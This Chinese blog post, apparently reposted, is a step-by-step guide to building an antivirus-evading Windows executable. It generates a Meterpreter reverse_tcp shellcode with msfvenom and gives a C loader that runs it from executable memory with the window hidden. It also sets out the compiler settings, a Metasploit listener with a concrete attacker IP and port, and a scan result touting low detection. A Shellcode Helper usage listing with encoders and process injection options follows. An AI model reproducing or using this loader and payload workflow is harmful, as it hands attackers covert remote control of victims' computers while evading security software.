exe免杀c语言,实验使用 C 编译 shellcode 免杀上线

实验了一下这篇文章里面介绍的免杀方法:[使用 C 编译 shellcode 免杀上线](https://www.xljtj.com/archives/c-shellcode.html?from=timeline&isappinstalled=0)。这篇文章已经把步骤写的很清楚了,但是我会在本文中也记录清楚每一步,因为文章可能说没就没,记下来自己留个备份。顺便记下我遇到的几个mini tiny坑。

# 0x01 环境

- Vs 2019

- windows 10

- kali

# 0x02 msf 生成 shellcode

```

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机器IP(MSF的反弹IP) LPORT=攻击机器端口(MSF的反弹端口) -f c > shellcode.c

```

![title](https://leanote.com/api/file/getImage?fileId=5e9bab12ab64410e3d0012f8)

# 0x03 用 VS 生成可执行文件

这里有两个很小的点:

因为我和作者VS版本和目标环境的区别,第一,我在VS 2019里生成`控制台应用`的时候,是默认不带头文件的。所以在生成程序中,没有`pch.h`这个头文件。解决方法很简单,直接把`#include "pch.h"`这一句代码删掉就好。

![title](https://leanote.com/api/file/getImage?fileId=5e9baea9ab6441104c0012ee)

![title](https://leanote.com/api/file/getImage?fileId=5e9baf14ab64410e3d0013cd)

第二,如绿框中的`代码生成`→`运行库`选项及编译配置:

![title](https://leanote.com/api/file/getImage?fileId=5e9bb680ab64410e3d00152f)

如果我这么选,注意这里编译配置是`Debug x86`,那我可以成功生成exe,但是在运行的时候无法成功执行,目标机器上报错如下:

![title](https://leanote.com/api/file/getImage?fileId=5e9bafdeab64410e3d0013f9)

![title](https://leanote.com/api/file/getImage?fileId=5e9bafe6ab6441104c001324)

解决办法也不难:

- 项目`属性`→`代码生成`→`运行库`选 **多线程(/MT)**

- 编译配置选 `Release x86`

![title](https://leanote.com/api/file/getImage?fileId=5e9bb02eab6441104c001332)

------------

具体操作如下:

打开 vs2019,新建项目→`控制台应用(C++)`。

然后把 shellcode 复制到下面的代码里(我删掉了不存在的头):

```

// MSF.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。

#include

#include "stdio.h"

#include "Windows.h"

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //去除窗口

//步骤b所在桌面产生的 shellcode.c的内容;

unsigned char shellcode[] =

void main()

{

//ShellExecute(NULL, _T("open"), _T("explorer.exe"), _T("https://www.baiud.com"), NULL, SW_SHOW);

LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

memcpy(Memory, shellcode, sizeof(shellcode));

((void(*)())Memory)();

}

```

再把 shellcode 全选复制到编辑器的代码框里:

![title](https://leanote.com/api/file/getImage?fileId=5e9bb192ab64410e3d001446)

修改编译配置为:

![title](https://leanote.com/api/file/getImage?fileId=5e9bb1dbab6441104c001388)

修改属性:项目里右键属性 → C/C++ → 代码生成 → 运行库:

![title](https://leanote.com/api/file/getImage?fileId=5e9bb1b7ab64410e3d001450)

保存之后,`重新生成解决方案`,就会生成一个 exe,这个 exe 运行即可上线:

![title](https://leanote.com/api/file/getImage?fileId=5e9bb240ab64410e3d001466)

这里按原作者的编译和运行库配置(`Debug x86 多线程测试(/MTd)`)生成的文件大小是38.5k,按我的配置生成的文件大小是79.0k。

# 0x04 测试上线

MSF 里开启监听:

```

use exploits/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.113.131

set lport 8090

run

```

执行 exe 即刻上线:

![title](https://leanote.com/api/file/getImage?fileId=5e9bb3deab6441104c0013e7)

# 0x05 免杀性检验

查杀网查杀地址:[MSF(2).exe](https://r.virscan.org/language/zh-cn/report/aab7bc6beead5b681de1f59563456e89)

看上去还行:

![title](https://leanote.com/api/file/getImage?fileId=5e9bb498ab64410e3d0014d6)

# 0x06 CS 上线

我也懒得搞了,两个端起起来有点麻烦:

> 如果要用 CS 上线,如下生成 payload:

![title](https://leanote.com/api/file/getImage?fileId=5e9bb516ab6441104c00141f)

后面操作是一样的。

--------------

# 参考链接:

1. [使用 C 编译 shellcode 免杀上线](https://www.xljtj.com/archives/c-shellcode.html?from=timeline&isappinstalled=0),心灵鸡汤君's blog,心灵鸡汤君,2020 年 04 月 18 日

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Shellcode Helper v1.62 Coded by TeLeMan (c) 2008-2013 Usage: schelper.exe [options] Options: -i [input file] input file (Default: stdin) -o [output file] output file (Default: stdout) -s input file format (Default: Auto-Detection) -sb input file format is Binary -sp the input file format's parameters -d output file format (Default: C format) -db output file format is Binary -dp the output file format's parameters -search get the start offset by the pattern: e.g. PK\x03\x04 -soff fix the match offset after searching (Default: 0) -off convert the input file from the offset (Default: 0) -len convert the input file with the length (Default: 0 - MAX) -en [encoder] encode shellcode (Default: XorDword) -de [encoder] decode shellcode (Default: Auto-Detection) -ex exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00) -in incude characters only -ep the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for debugging -stack put shellcode into stack and execute it (ESP is the shellcode start) -noinfo display no normal messages except error messages Available formats: 0 - C 1 - C(HexArray) 2 - Perl 3 - Python 4 - Ruby 5 - JavaScript(Escape) 6 - VBScript(Escape) 7 - Pascal 8 - MASM(Data) 9 - HexDump 10 - BitString 11 - HexString 12 - HexArray(C like) 13 - Base64 14 - Binary 15 - HexString(C like) 16 - HexString(Escape) 17 - HexString(JavaScript,UNICODE) 18 - URI(ISO-8859-1) 19 - XML(PCDATA) 20 - BigNumber 21 - BigNumber(Hex) 22 - BigNumber(BaseX) 23 - FloatPoint 24 - UnixTimestamp 25 - GUID 26 - MASM(ASM) 27 - NASM 28 - YASM(ASM) 29 - FASM(ASM) 30 - JWASM(ASM) 31 - POASM(ASM) 32 - GOASM(ASM) 33 - GNU ASM Available encoders:

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值